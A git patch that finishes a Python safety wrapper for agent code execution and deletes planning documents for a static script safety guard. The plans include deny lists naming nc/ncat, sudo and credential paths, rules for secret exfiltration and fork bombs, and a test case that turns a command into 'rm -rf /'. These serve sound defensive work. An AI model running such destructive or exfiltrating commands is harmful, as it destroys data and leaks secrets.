f"effective_timeout_seconds={self.effective_timeout_seconds} " + f"exceeds policy max " + f"{self.guard.policy.limits.max_timeout_seconds}") + result = await self.delegate.execute_code(execution_input) + return _truncate_output(result, + self.guard.policy.limits.max_output_bytes) + + def _build_requests(self, execution_input: Any) -> list[SafetyScanRequest]: + blocks = _extract_code_blocks(execution_input) + requests: list[SafetyScanRequest] = [] + for idx, block in enumerate(blocks): + requests.append(SafetyScanRequest( + tool_name=self.tool_name, + tool_kind=ToolKind.CODE_EXECUTOR, + language=self.language, + script=block, + metadata={"block_index": idx}, + )) + return requests + + +# --------------------------------------------------------------------------- # +# Helpers +# --------------------------------------------------------------------------- # + +def _default_audit_sink(policy: ToolSafetyPolicy) -> AuditSink: + if not policy.audit.enabled: + return NullAuditSink() + if policy.audit.path: + from tool.safety._audit import JsonlAuditSink + return JsonlAuditSink(policy.audit.path) + return InMemoryAuditSink() + + +def _extract_code_blocks(execution_input: Any) -> list[str]: + """Pull a list of code strings from common input shapes.""" + + if isinstance(execution_input, str): + return [execution_input] + if isinstance(execution_input, Mapping): # type: ignore[arg-type] + code = execution_input.get("code") or execution_input.get("script") # type: ignore[union-attr] + if isinstance(code, str): + return [code] + if isinstance(code, (list, tuple)): + return [str(b) for b in code] + code_blocks = getattr(execution_input, "code_blocks", None) + if code_blocks is not None: + out: list[str] = [] + for block in code_blocks: + text = getattr(block, "code", None) + if isinstance(text, str): + out.append(text) + continue + if isinstance(block, str): + out.append(block) + continue + code_attr = getattr(block, "code", None) + if isinstance(code_attr, str): + out.append(code_attr) + return out + code_attr = getattr(execution_input, "code", None) + if isinstance(code_attr, str): + return [code_attr] + return [] + + +def _make_failure_result(message: str) -> Any: + return _ExecutorFailure(message) + + +class _ExecutorFailure: + """Simple structured failure that exposes ``outcome`` and ``output``. + + The shape matches what most duck-typed executors return so callers + can consume it without caring whether the wrapper delegated. + """ + + def __init__(self, message: str) -> None: + self.outcome = "FAILURE" + self.output = message + + def __repr__(self) -> str: # pragma: no cover - debug helper + return f"_ExecutorFailure({self.output!r})" + + +def _render_executor_block(report: SafetyReport) -> Any: + payload = ( + f"[tool.safety] execution blocked: decision={report.decision.value} " + f"risk={report.risk_level.label()} rules={','.join(report.rule_ids)} " + f"report_id={report.report_id}" + ) + return _ExecutorFailure(payload) + + +def _truncate_output(result: Any, max_bytes: int) -> Any: + if max_bytes <= 0: + return result + output = getattr(result, "output", None) + if isinstance(output, str): + encoded = output.encode("utf-8", errors="ignore") + if len(encoded) <= max_bytes: + return result + truncated = encoded[:max_bytes].decode("utf-8", errors="ignore") + try: + object.__setattr__(result, "output", + truncated + f"\n[truncated {len(encoded) - max_bytes} bytes]") + except (AttributeError, TypeError): + return truncated + return result + + +def _utc_now_iso() -> str: + import datetime as _dt + return _dt.datetime.now(_dt.timezone.utc).isoformat() + + +# Re-export Mapping for the isinstance check above. +from typing import Mapping # noqa: E402 From d7e79edc7317e62bc505f652d45c172df0984895 Mon Sep 17 00:00:00 2001 From: impself <774807698@qq.com> Date: Wed, 15 Jul 2026 10:42:31 +0800 Subject: [PATCH 2/8] chore: remove planning artifacts --- .../tool-script-safety-guard-code-design.md | 545 ------------------ .omx/plans/tool-script-safety-guard.md | 226 -------- 2 files changed, 771 deletions(-) delete mode 100644 .omx/plans/tool-script-safety-guard-code-design.md delete mode 100644 .omx/plans/tool-script-safety-guard.md diff --git a/.omx/plans/tool-script-safety-guard-code-design.md b/.omx/plans/tool-script-safety-guard-code-design.md deleted file mode 100644 index 0d85ae1a..00000000 --- a/.omx/plans/tool-script-safety-guard-code-design.md +++ /dev/null @@ -1,545 +0,0 @@ -# Tool Script Safety Guard - Code Design - -## 0. Scope amendment (plan only) - -This document is an implementation plan only. Do not implement it in this task. - -When implementation is later authorized, it must add files only. It must not modify any existing file under `trpc_agent_sdk/`, `tests/`, `examples/`, project configuration, or telemetry/filter/code-executor implementation. The deliverable is an independent reference package rooted at `tool/safety/`, accompanied by newly added tests, examples, and documentation. Its wrapper demonstrates the pre-execution seam without wiring into the framework core. - -This section takes precedence over earlier integration descriptions: core Filter ordering, existing tool tracing, and existing CodeExecutor behavior are documented as future integration points, not files to change in this scoped implementation. - -## 1. Implementation target - -Build a deep safety module with one small decision interface. The scanner is pure and synchronous; execution-chain adapters own blocking, audit I/O, and telemetry. This keeps rule testing deterministic and lets Tool, Skill, MCP Tool, and CodeExecutor reuse the same decision engine. - -The first release is a pre-execution guard, not a sandbox. It must fail closed on policy or scanner failures, block both `deny` and `needs_human_review` unless an external reviewer explicitly approves, and never place raw scripts, environment values, or secrets in reports, audit logs, metrics, or spans. - -## 2. File layout - -```text -tool/ - __init__.py - safety/ - __init__.py # deliberately small public surface - _models.py # request, finding, report, event, enums - _policy.py # YAML loading, validation, normalization, hash - _guard.py # ToolSafetyGuard aggregation and decision - _rules.py # SafetyRule protocol and default rule registry - _facts.py # internal normalized facts - _python_scanner.py # AST fact extraction - _bash_scanner.py # shell lexer/parser-lite fact extraction - _cross_field_scanner.py # args/cwd/env/tool metadata correlations - _redaction.py # evidence and telemetry redaction - _audit.py # AuditSink, JSONL and in-memory adapters - _telemetry.py # span attributes and safety metrics - _tool_adapter.py # tool input -> SafetyScanRequest - _filter.py # terminal pre-execution Tool filter - _exceptions.py # typed policy/scanner/audit errors - wrapper.py # generic pre-execution callable wrapper -scripts/ - tool_safety_check.py -tests/ - tool_safety/ -scripts/ - tool_safety_check.py -examples/tool_safety/ - tool_safety_policy.yaml - samples/ - tool_safety_report.json - tool_safety_audit.jsonl - README.md -tests/ - tools/safety/ - test_policy.py - test_guard.py - test_python_scanner.py - test_bash_scanner.py - test_cross_field_scanner.py - test_redaction.py - test_audit.py - test_filter.py - test_tool_adapter.py - test_performance.py - test_wrapper.py - test_cli.py -examples/ - tool_safety/ - tool_safety_policy.yaml - samples/ - tool_safety_report.json - tool_safety_audit.jsonl -docs/ - tool_safety_guard.md -``` - -Do not create one class per rule. Use three substantial rule modules (Python, Bash, cross-field) that extract reusable facts once and evaluate a rule catalog. This gives the module depth and avoids traversing the same script six times. - -## 3. Public interfaces - -Only export the types callers need: - -```python -from trpc_agent_sdk.tools.safety import ( - AuditSink, - JsonlAuditSink, - SafetyAuditEvent, - SafetyDecision, - SafetyFinding, - SafetyReport, - SafetyRule, - SafetyScanRequest, - ToolSafetyGuard, - ToolScriptSafetyFilter, - load_safety_policy, -) -``` - -Core scanner interface: - -```python -class SafetyRule(Protocol): - def scan( - self, - request: SafetyScanRequest, - policy: ToolSafetyPolicy, - ) -> Iterable[SafetyFinding]: ... - - -class ToolSafetyGuard: - def __init__( - self, - policy: ToolSafetyPolicy, - *, - rules: Sequence[SafetyRule] | None = None, - ) -> None: ... - - def scan(self, request: SafetyScanRequest) -> SafetyReport: ... -``` - -`scan` performs no file writes, network access, process creation, or telemetry emission. Custom rules are appended to the defaults unless the caller explicitly constructs a replacement rule list. - -Audit seam: - -```python -class AuditSink(Protocol): - async def emit(self, event: SafetyAuditEvent) -> None: ... -``` - -`JsonlAuditSink` serializes one event per line with an async lock and performs the short blocking append in `asyncio.to_thread`. `InMemoryAuditSink` remains test-only. - -## 4. Data models and invariants - -Use Pydantic models with `ConfigDict(extra="forbid")`. Policy and report models should be immutable where practical. - -```python -class SafetyScanRequest(BaseModel): - tool_name: str - tool_kind: ToolKind - language: ScriptLanguage - script: str = Field(repr=False) - argv: tuple[str, ...] = () - cwd: str | None = None - env: Mapping[str, str] = Field(default_factory=dict, repr=False) - metadata: Mapping[str, JsonValue] = Field(default_factory=dict) - requested_timeout_seconds: float | None = None - - -class SafetyFinding(BaseModel): - rule_id: str - category: RiskCategory - risk_level: RiskLevel - decision: SafetyDecision - evidence: Evidence - recommendation: str - - -class SafetyReport(BaseModel): - report_id: str - decision: SafetyDecision - risk_level: RiskLevel - rule_ids: tuple[str, ...] - findings: tuple[SafetyFinding, ...] - recommendation: str - policy_hash: str - script_sha256: str - scan_duration_ms: float - redacted: bool -``` - -Invariants: - -- Reports never serialize `script`, raw `argv`, `cwd`, or environment values. -- Evidence contains a bounded, redacted snippet (default 160 characters), line and column when available. -- `rule_ids` are sorted and de-duplicated for stable output. -- Aggregate decision precedence is `deny > needs_human_review > allow`. -- Aggregate risk precedence is `critical > high > medium > low > info`. -- A report with no findings is `allow/info`; a parse ambiguity or unsupported execution shape is `needs_human_review/medium`, never silent allow. -- Policy hash is SHA-256 over canonical JSON after validation and normalization. - -## 5. Policy module - -`load_safety_policy(path)` reads YAML with `yaml.safe_load`, validates it through Pydantic, normalizes hosts, paths, and commands, and raises a typed `SafetyPolicyError` before any tool is registered. - -Suggested top-level schema: - -```yaml -version: 1 -defaults: - unknown_construct: needs_human_review - guard_error: deny - human_review_blocks_execution: true -limits: - max_timeout_seconds: 30 - max_output_bytes: 1048576 - max_script_bytes: 262144 - max_sleep_seconds: 10 - max_parallel_tasks: 32 -network: - allow_domains: [api.github.com, "*.internal.example.com"] - deny_ip_literals: true -commands: - allow: [python, python3, pytest, git] - deny: [sudo, su, chmod, chown, mount, nc, ncat] -paths: - deny: - - ~/.ssh - - /etc - - /root - - .env - - "**/*credentials*" -dependencies: - decision: needs_human_review -tools: - workspace_exec: - execution_capable: true - language: bash - fields: - script: command - cwd: cwd - env: env - timeout: timeout_sec -``` - -Normalization rules: - -- Domains are lowercase, IDNA-normalized, and stripped of a trailing dot. Wildcards match exactly one declared suffix and never use substring matching. -- Paths use lexical normalization only. Static scanning must not touch the filesystem or claim to resolve symlinks. -- Command allowlisting applies to the parsed executable basename. Any shell operator, substitution, redirection, background marker, or secondary command is independently evaluated. -- Invalid YAML, unknown keys, invalid enum values, negative limits, or an unusable tool-field mapping fail startup. - -Changing the YAML must change domains, denied paths, allowed commands, limits, and per-rule action without a code modification. - -## 6. Scanner implementation - -### 6.1 Common fact model - -The two language scanners produce internal `ScriptFacts` containing normalized observations: - -```text -file accesses, file writes, URLs/hosts, imported modules, function calls, -executables, shell operators, pipelines, redirections, background jobs, -loops, sleeps, concurrency/fork primitives, dependency installs, -secret sources, output/file/network sinks, dynamic or unresolved expressions -``` - -Facts carry source location and a bounded source slice. Evaluators convert facts into stable findings using a central rule catalog. Rule IDs should be stable strings such as: - -```text -FILE001_RECURSIVE_DELETE -FILE002_DENIED_PATH -FILE003_CREDENTIAL_READ -NET001_NON_ALLOWLIST_HOST -NET002_DYNAMIC_DESTINATION -PROC001_SUBPROCESS -PROC002_SHELL_OPERATOR -PROC003_PRIVILEGE_ESCALATION -DEP001_ENVIRONMENT_MUTATION -RES001_UNBOUNDED_LOOP -RES002_FORK_BOMB -RES003_EXCESSIVE_SLEEP -RES004_LARGE_WRITE -SEC001_SECRET_TO_OUTPUT -SEC002_SECRET_TO_FILE -SEC003_SECRET_TO_NETWORK -ANL001_PARSE_AMBIGUITY -``` - -### 6.2 Python scanner - -Parse with `ast.parse`; syntax errors yield `ANL001_PARSE_AMBIGUITY` and human review. Build an alias table so `import requests as r`, `from subprocess import run`, and simple assigned aliases resolve to canonical calls. - -Recognize at minimum: - -- `os.remove/unlink/rmdir`, `shutil.rmtree`, `Path.unlink/rmdir/write_text/write_bytes`, and `open(..., "w"/"a"/"x")`. -- Reads of `.env`, `~/.ssh`, private key files, cloud credential paths, netrc, kube config, and names containing credential/token/secret patterns. -- `requests.*`, `aiohttp`, `urllib`, `httpx`, and `socket` destinations. Literal allowlisted hosts pass; non-allowlisted literals deny; computed destinations require review. -- `subprocess.*`, `os.system`, `os.popen`, `pty.spawn`, multiprocessing/process creation, `shell=True`, and command strings containing shell grammar. -- Dependency mutation through `pip`, `python -m pip`, `npm/yarn/pnpm`, `apt/apt-get`, `apk`, `yum/dnf`, `brew`, and conda install commands. -- `while True`, obviously non-terminating loops, `os.fork`, multiprocessing explosions, very long sleeps, oversized constant writes, and excessive constant fan-out. -- Taint from `os.environ`, `getenv`, credential files, private-key literals, and secret-looking variables into `print`, logging, file writes, subprocess arguments, and network payload/query/header sinks. - -Keep taint analysis deliberately local: literals, names, direct assignments, f-strings, concatenation, and shallow container construction. More dynamic flows become human review rather than a false claim of safety. - -### 6.3 Bash scanner - -Implement a conservative lexer rather than executing or expanding the shell. Preserve quoting state and source offsets, split command segments at `;`, newline, `&&`, `||`, `|`, `&`, redirections, command substitution, and process substitution. - -Detect at minimum: - -- `rm -rf/-fr`, recursive overwrite/copy into denied paths, destructive `find -delete`, and reads of denied credential paths through `cat`, `sed`, `awk`, `source`, `.`, `grep`, `head`, and `tail`. -- `curl`, `wget`, `nc/ncat`, `ssh/scp`, and URLs passed to common CLIs. Dynamic host expressions require review. -- Pipelines, command substitution, `eval`, `bash -c`, `sh -c`, background jobs, privilege escalation, and commands outside the allowlist. -- Package installation commands and shell downloads piped into an interpreter. -- `while true`, `for ((;;))`, fork-bomb token patterns, long sleeps, unbounded background loops, and large constant generators such as `dd`/`fallocate` beyond policy. -- Secret environment variables or credential-file content flowing into `echo`, `printf`, loggers, redirection targets, or network arguments. - -Malformed quoting or unsupported shell grammar yields review. Never use `shell=True` to validate a script. - -### 6.4 Cross-field scanner - -Evaluate request fields together: - -- Reject denied or escaping working directories. -- Compare requested timeout with policy maximum. -- Scan `argv` as data and reject option injection where a tool adapter marks an argument as an executable or destination. -- Inspect environment variable names and values only in memory. Values matching secrets become taint sources and are immediately registered with the redactor. -- Use `metadata` to recognize MCP server identity, Skill name, CodeExecutor type, and declared sandbox/resource limits. -- An execution-capable Tool without a valid mapping is `needs_human_review`. - -## 7. Decision engine - -`ToolSafetyGuard.scan` should be short and deterministic: - -```python -def scan(self, request: SafetyScanRequest) -> SafetyReport: - started = perf_counter() - validate_request_size(request, self._policy) - findings = [ - finding - for rule in self._rules - for finding in rule.scan(request, self._policy) - ] - findings = deduplicate_and_redact(findings, request.env.values()) - return build_report( - request=request, - policy=self._policy, - findings=findings, - elapsed_ms=(perf_counter() - started) * 1000, - ) -``` - -Unexpected programmer defects should propagate in direct scanner use. Execution adapters catch only typed guard exceptions, convert them to `GUARD001_INTERNAL_ERROR` with a `deny/critical` decision, and log the exception without request content. This makes the production path fail closed without hiding defects in tests. - -## 8. Tool, Skill, and MCP integration - -### 8.1 Terminal filter ordering - -The current runner appends callback filters after normal Tool filters, so a callback can mutate a safe command into a dangerous one. Add a minimal ordering seam: - -```python -class BaseFilter(FilterABC): - @property - def terminal_before_handler(self) -> bool: - return False -``` - -`FilterRunner` composes filters as: - -```python -normal_filters + extra_filters + terminal_filters -``` - -Apply the same composition to regular and streaming runners. Existing filters retain current order; only filters opting into the terminal phase move after callback filters. Add a regression test in which a callback changes `echo ok` to `rm -rf /` and the terminal safety filter blocks before the handler spy is called. - -### 8.2 ToolScriptSafetyFilter - -`ToolScriptSafetyFilter.terminal_before_handler` returns `True`. Its `_before` method: - -1. Gets the current Tool identity and invocation context. -2. Uses `ToolRequestAdapter` plus policy field mappings to create `SafetyScanRequest`. -3. Scans once and builds one `SafetyAuditEvent`. -4. Stores sanitized trace arguments in invocation-local telemetry state. -5. Sets current-span safety attributes and records dedicated counters/histogram. -6. Emits the audit event before allowing execution. -7. For `deny` or `needs_human_review`, sets `rsp.is_continue = False` and returns a structured blocked response containing the report ID, decision, risk, rule IDs, evidence, and recommendation. - -Built-in adapters: - -| Tool | script | cwd | env | timeout | -|---|---|---|---|---| -| `workspace_exec` | `command` | `cwd` | `env` | `timeout_sec` | -| `skill_run` | `command` | `cwd` | `env` | `timeout` | -| `skill_exec` | `command` | `cwd` | `env` | `timeout` | - -MCP and custom execution Tools use the same declarative YAML mapping. A Tool marked `execution_capable` but lacking a usable mapping is blocked for human review. - -Registration example: - -```python -policy = load_safety_policy("tool_safety_policy.yaml") -guard = ToolSafetyGuard(policy) -safety_filter = ToolScriptSafetyFilter( - guard=guard, - audit_sink=JsonlAuditSink("tool_safety_audit.jsonl"), -) - -tool = WorkspaceExecTool(filters=[safety_filter]) -``` - -V1 guarantees filtering for non-streaming executable Tools, which includes the named Skill execution Tools and normal MCP Tools. Document that a future streaming executor must call the same guard or gain a common guarded entry path; do not imply `BaseTool.run_async` protects a `run_streaming` override that bypasses it. - -## 9. CodeExecutor wrapper - -Add `SafetyCheckedCodeExecutor(BaseCodeExecutor)` as an adapter around an existing executor. A `wrap(...)` classmethod copies the delegate's behavior fields (`stateful`, delimiters, retry settings, workspace runtime, and related BaseCodeExecutor options) so consumers can replace the executor without changing agent code. - -Execution flow: - -```python -async def execute_code(self, execution_input: CodeExecutionInput) -> CodeExecutionResult: - requests = build_requests_for_code_blocks(execution_input) - report = SafetyReport.combine(self._guard.scan(item) for item in requests) - await self._audit_sink.emit(event_from(report)) - record_safety_telemetry(report) - if report.decision is not SafetyDecision.ALLOW: - return CodeExecutionResult( - outcome=Outcome.OUTCOME_FAILED, - output=render_blocked_result(report), - ) - result = await self._delegate.execute_code(execution_input) - return truncate_execution_output(result, self._policy.limits.max_output_bytes) -``` - -The base executor interface has no universal timeout parameter. Therefore the wrapper must not pretend it can enforce runtime timeout for every delegate. The caller supplies an `effective_timeout_seconds`, or a known executor adapter extracts it. If the guard cannot establish that the effective timeout is within policy, execution needs human review. Real CPU, memory, process-count, filesystem, and network enforcement remains the workspace runtime/sandbox responsibility. - -## 10. Redaction, audit, and telemetry - -Redaction runs before serialization. It covers actual environment values plus recognizable bearer tokens, API keys, passwords, private-key blocks, cloud access keys, and secret assignments. Evidence is truncated after redaction. Unit tests must assert secret literals are absent from `model_dump_json()`, JSONL, logger capture, and span export. - -Audit event fields: - -```text -event_id, timestamp, report_id, invocation_id, tool_name, tool_kind, -decision, risk_level, rule_ids, duration_ms, redacted, blocked, -policy_hash, script_sha256, scanner_version -``` - -Do not emit raw script, command, arguments, environment, cwd, or unredacted evidence into JSONL. - -Set these span attributes when OpenTelemetry is active; no-op safely when no span is recording: - -```text -tool.safety.decision -tool.safety.risk_level -tool.safety.rule_id # comma-separated bounded list -tool.safety.blocked -tool.safety.redacted -tool.safety.scan_duration_ms -tool.safety.policy_hash -``` - -Add dedicated metrics: - -```text -trpc_agent.tool_safety.scan_count{decision,risk_level,tool_name} -trpc_agent.tool_safety.block_count{decision,rule_id,tool_name} -trpc_agent.tool_safety.scan_duration_ms{decision,tool_name} -``` - -### Trace argument leak fix - -The current tool processor traces original `arguments` after execution. Add an invocation-scoped `ToolTraceState` held by `ContextVar`: - -```python -token = begin_tool_trace_scope() -try: - result = await tool.run_async(...) - trace_tool_call(args=get_trace_arguments_or(arguments), ...) -finally: - end_tool_trace_scope(token) -``` - -The safety filter writes redacted arguments into the active state. Scope setup and cleanup belong in the tool processor, covering both success and error paths and preserving isolation across concurrent tool calls. This is safer than a global cache and keeps raw secrets out of existing spans. - -## 11. CLI and examples - -Use `argparse` to avoid a new dependency. Make `main(argv: Sequence[str] | None = None) -> int` directly testable. - -```text -python scripts/tool_safety_check.py \ - --policy examples/tool_safety/tool_safety_policy.yaml \ - --language python \ - --script-file examples/tool_safety/samples/safe_python.py \ - --tool-name demo \ - --output tool_safety_report.json \ - --audit-file tool_safety_audit.jsonl -``` - -Also support `--request-json` for complete inputs and `--manifest` to scan all public samples. Exit codes: `0=allow`, `2=deny`, `3=needs_human_review`, `4=invalid input/policy`. - -Provide at least these 14 manifest cases: - -```text -safe_python, safe_bash, dangerous_recursive_delete, credential_read, -non_allowlist_network, allowlist_network, subprocess_call, shell_injection, -dependency_install, infinite_loop, secret_output, bash_pipeline, -dynamic_url_review, dynamic_command_review -``` - -Each case declares expected decision and expected rule IDs. The manifest runner writes an array of reports and one audit line per scan. - -## 12. Test-first coding order - -Implement in small, independently verifiable slices: - -1. **Models and policy**: enums, immutable models, YAML validation, normalization, canonical hash. Tests cover unknown keys, wildcard host semantics, path normalization, and policy-only behavior changes. -2. **Redaction**: bounded evidence and environment-value scrubbing. Tests serialize every output surface and assert the secret is absent. -3. **Python vertical slice**: safe script, recursive deletion, credential read, allowlisted/non-allowlisted network, subprocess, install, loop, and secret output through the public `ToolSafetyGuard.scan` interface. -4. **Bash vertical slice**: safe command, `rm -rf`, credential read, pipeline/injection, install, fork bomb, long sleep, network rules, and ambiguity review. -5. **Cross-field checks**: cwd, argv, env, timeout, unknown execution-capable Tool, and report aggregation. -6. **Audit and telemetry**: one event per attempt, required fields, concurrency isolation, span attributes, metrics, and no raw arguments. -7. **Terminal Filter integration**: callback mutation, handler spy, all three decisions, fail-closed scanner/audit errors, and Skill/MCP-style mapped inputs. -8. **CodeExecutor adapter**: fake delegate proves deny/review never calls it, allow calls exactly once, output is capped, and unknown timeout requires review. -9. **CLI and deliverables**: manifest execution, JSON schema, exit codes, example report/audit, and README. -10. **Performance and regression**: warm up once, scan a deterministic 500-line Python and Bash fixture repeatedly, assert p95 below 1 second, then run the full test suite and linters. - -Primary tests should use public module interfaces. Test internal parsers only for lexer/AST edge cases that are otherwise hard to diagnose. - -## 13. Acceptance mapping - -| Acceptance requirement | Code/test proof | -|---|---| -| 12+ runnable samples | manifest CLI integration test and 14 fixtures | -| high-risk detection >= 90% | parameterized benchmark matrix with explicit denominator | -| safe false positives <= 10% | separate benign corpus and rate assertion | -| key read/delete/non-allowlist = 100% | mandatory category parameterization for Python and Bash | -| 500 lines < 1 second | deterministic p95 performance test | -| structured fields | Pydantic schema and JSON snapshot tests | -| policy changes behavior | load two YAML policies against identical input | -| pre-execution block + audit | terminal Filter handler-spy integration test | -| telemetry fields | in-memory OTel exporter/metric reader assertions | -| cannot replace sandbox | README threat-model and responsibility matrix | - -## 14. Documentation boundary statement - -The README must state the responsibility split plainly: - -```text -Filter / Safety Guard: pre-execution static policy decision and redaction. -CodeExecutor adapter: applies the same decision before delegated execution. -Sandbox / workspace runtime: runtime isolation and hard resource/network/filesystem limits. -Telemetry / audit: evidence that a decision occurred; not an enforcement mechanism. -``` - -Known bypasses include obfuscation, dynamic code generation, runtime downloads, symlink races, encoded payloads, reflection, native extensions, interpreter bugs, shell grammar not modeled by the parser-lite scanner, indirect data flow, and behavior that depends on runtime state. These limits justify human review for ambiguity and make sandboxing mandatory even after an `allow` decision. - -## 15. Definition of done - -- Public interfaces and example imports are stable and documented. -- `deny` and `needs_human_review` cannot reach the real handler/delegate by default. -- Every attempt emits exactly one sanitized audit event before execution or blocking response. -- Existing Tool filters preserve behavior except for the opt-in terminal ordering seam. -- Tool tracing no longer records raw guarded arguments. -- All 14 examples match expected decisions and mandatory categories reach 100%. -- The 500-line performance test passes with margin, not just at the one-second boundary. -- Full targeted tests, formatting, lint, and type checks pass. -- Documentation explicitly says the guard reduces risk but cannot replace a sandbox. diff --git a/.omx/plans/tool-script-safety-guard.md b/.omx/plans/tool-script-safety-guard.md deleted file mode 100644 index f7093747..00000000 --- a/.omx/plans/tool-script-safety-guard.md +++ /dev/null @@ -1,226 +0,0 @@ -# Tool Script Safety Guard 实施计划 - -## 范围修订：仅维护计划，后续实现必须全量新增 - -本任务仅更新计划，不进行编码。后续获准实施时，只能在根目录新增 `tool/safety/`、`tests/tool_safety/`、`examples/tool_safety/`、`scripts/` 与 `docs/` 下的文件；不得修改 `trpc_agent_sdk/`、已有测试、示例、项目配置、Telemetry、Filter 或 CodeExecutor 的任何既有文件。文档中的框架直接接入改为未来集成点，本次范围仅提供独立 wrapper 示例。 - -## 1. 需求摘要 - -为 Python 与 Bash 执行建立一条可审计的前置安全门：输入脚本、argv、cwd、env 与 tool 元数据，经过可插拔规则扫描后输出 `allow`、`deny` 或 `needs_human_review`。`deny` 与未获批准的 `needs_human_review` 必须在任何文件、网络或进程副作用发生前终止；所有决策都必须产生脱敏报告、JSONL 审计事件和 OpenTelemetry 属性。 - -本次交付覆盖 Tool、MCP Tool、Skill 命令执行和 CodeExecutor。静态 Guard 是纵深防御的一层，不承诺替代容器、远端沙箱、操作系统权限、网络 egress、cgroup/ulimit 或运行时超时。 - -## 2. 第一性原理 - -### 2.1 要保护的资产 - -1. 主机与工作区完整性：系统目录、源码、配置和凭据不能被未授权读取、覆盖或删除。 -2. 数据机密性：环境变量、API Key、token、密码、私钥不能流向日志、文件或非授权网络目标。 -3. 执行环境完整性：脚本不能任意提权、拉起隐藏进程或安装依赖改变环境。 -4. 服务可用性：脚本不能通过无限循环、fork、长 sleep、超量并发或巨量输出耗尽资源。 -5. 可追责性：每次执行尝试都能回答“谁、用什么 tool、触发哪条规则、是否被阻断、扫描耗时多少”。 - -### 2.2 必须成立的安全不变量 - -1. **先判断，后副作用**：最终安全检查位于参数完成解析/回调修改之后、`_run_async_impl`、`run_program`、`start_program` 或 `execute_code` 之前。 -2. **不确定不等于安全**：解析失败、动态构造目标、未知语言和无法解析的间接执行至少进入 `needs_human_review`，不能默认 `allow`。 -3. **高危命中不可被普通白名单覆盖**：允许命令只能放行“直接执行该命令”的基础风险，不能覆盖危险参数、禁止路径、非白名单域名、shell 注入或敏感信息外传。 -4. **安全系统本身不泄密**：报告、审计、日志与 span 不保存原始 env 值、完整脚本或未脱敏证据；只保存受限证据、哈希和低基数字段。 -5. **决策可重现**：相同规范化请求、策略版本和规则集合必须得到相同 findings 与决策；时间戳、scan id 不参与决策。 -6. **静态判断与运行时隔离分责**：Guard 负责预判和拦截；沙箱、网络策略和资源控制负责阻止静态分析无法看见的运行时行为。 - -### 2.3 可知与不可知 - -- 静态可知：字面量路径/URL/命令、Python AST 调用、Bash 运算符与重定向、明显 source-to-sink 数据流、显式超时和并发常量。 -- 静态不可完全知：反射、动态 import、`eval`/解码后执行、运行时拼接、软链接、DNS rebinding、HTTP redirect、下载后二阶段 payload、原生扩展副作用。 -- 推论：规则引擎必须同时拥有确定性 `deny` 规则和保守的 `needs_human_review` 规则；文档必须明确绕过面，并要求生产环境继续使用沙箱。 - -## 3. 仓库现状与接入依据 - -- `BaseTool.run_async` 已在 `_run_async_impl` 前运行 Tool Filter，天然适合前置检查：`trpc_agent_sdk/tools/_base_tool.py:156`、`trpc_agent_sdk/tools/_base_tool.py:183`、`trpc_agent_sdk/tools/_base_tool.py:185`。 -- `BaseFilter` 在 `_before` 设置 `is_continue=False` 时不会调用真实 handler：`trpc_agent_sdk/filter/_base_filter.py:208`、`trpc_agent_sdk/filter/_base_filter.py:215`、`trpc_agent_sdk/filter/_base_filter.py:219`。 -- Tool Filter 已有注册入口：`trpc_agent_sdk/filter/_registry.py:169`。 -- `workspace_exec` 的 `command/cwd/env/timeout_sec/background` 在执行前都位于 args：`trpc_agent_sdk/skills/tools/_workspace_exec.py:144`，真实执行从 `trpc_agent_sdk/skills/tools/_workspace_exec.py:288` 开始。 -- `skill_run` 与 `skill_exec` 已暴露 filters，并分别在 `run_program`/`start_program` 前持有完整输入：`trpc_agent_sdk/skills/tools/_skill_run.py:372`、`trpc_agent_sdk/skills/tools/_skill_run.py:640`、`trpc_agent_sdk/skills/tools/_skill_exec.py:314`、`trpc_agent_sdk/skills/tools/_skill_exec.py:400`。 -- CodeExecutor 的统一边界是 `BaseCodeExecutor.execute_code`：`trpc_agent_sdk/code_executors/_base_code_executor.py:98`；各实现目前直接执行 block，例如 `UnsafeLocalCodeExecutor` 在 `trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:59`。 -- 运行规格已有 timeout 与 CPU/内存/PID 字段，但并非所有 runtime 都强制消费这些限制：`trpc_agent_sdk/code_executors/_types.py:110`、`trpc_agent_sdk/code_executors/_types.py:125`。 -- 工具 span 在执行前已创建：`trpc_agent_sdk/agents/core/_tools_processor.py:343`；现有 tracing 会写入原始 args：`trpc_agent_sdk/agents/core/_tools_processor.py:438`、`trpc_agent_sdk/telemetry/_trace.py:304`。安全方案必须同时修复这条二次泄漏路径。 -- PyYAML、Pydantic 与 OpenTelemetry 已是项目依赖，不需要新增重型解析器：`pyproject.toml:26`、`pyproject.toml:35`、`pyproject.toml:51`。 - -## 4. 目标架构 - -```mermaid -flowchart LR - A["Tool / Skill / MCP / CodeExecutor 输入"] --> B["ToolInputAdapter 规范化"] - B --> C["SafetyScanRequest"] - C --> D["Python AST + Bash lexer + 跨字段规则"] - D --> E["确定性聚合器"] - E --> F["脱敏报告 + AuditSink + OTel"] - F -->|deny| G["阻断，返回明确原因"] - F -->|needs_human_review| H["默认阻断，等待外部审批"] - F -->|allow| I["应用 timeout/output 上限"] - I --> J["沙箱 / Runtime / 真正执行"] -``` - -### 4.1 核心模型 - -在 `trpc_agent_sdk/tools/safety/` 新增 Pydantic 模型： - -- `SafetyScanRequest`：`language`、`script`、`argv`、`cwd`、`env`、`tool_metadata`、`requested_timeout_seconds`、`requested_output_bytes`。 -- `ToolMetadata`：`name`、`kind`（tool/mcp/skill/code_executor）、`description`、可选 adapter id；不接收任意不可序列化对象。 -- `SafetyFinding`：`category`、`risk_level`、`rule_id`、`evidence`、`location`、`recommendation`、`proposed_decision`。 -- `SafetyReport`：顶层固定包含 `decision`、`risk_level`、`rule_id`、`evidence`、`recommendation`、`findings`、`scan_duration_ms`、`redacted`、`script_sha256`、`policy_version`、`policy_sha256`。 -- `SafetyAuditEvent`：至少包含 `tool_name`、`decision`、`risk_level`、主 `rule_id` 与全部 `rule_ids`、`elapsed_ms`、`redacted`、`execution_blocked`、`scan_id`、`timestamp`、策略指纹。 - -`allow` 报告使用稳定的 `SAFE000` 作为顶层 rule id，并以“未命中风险规则”作为 evidence，确保所有报告都满足验收字段要求。 - -### 4.2 可插拔规则接口 - -定义 `SafetyRule` 协议/ABC：稳定 `rule_id`、支持语言集合和纯函数式 `scan(context) -> list[SafetyFinding]`。Guard 构造时校验 rule id 唯一，默认规则可与业务自定义规则组合；规则不得执行被扫描脚本、发网络请求或读取目标凭据文件。 - -Python 使用 `ast.parse`、import alias 表、有限常量折叠与轻量 taint 传播；Bash 使用标准库 `shlex` 的 operator-preserving 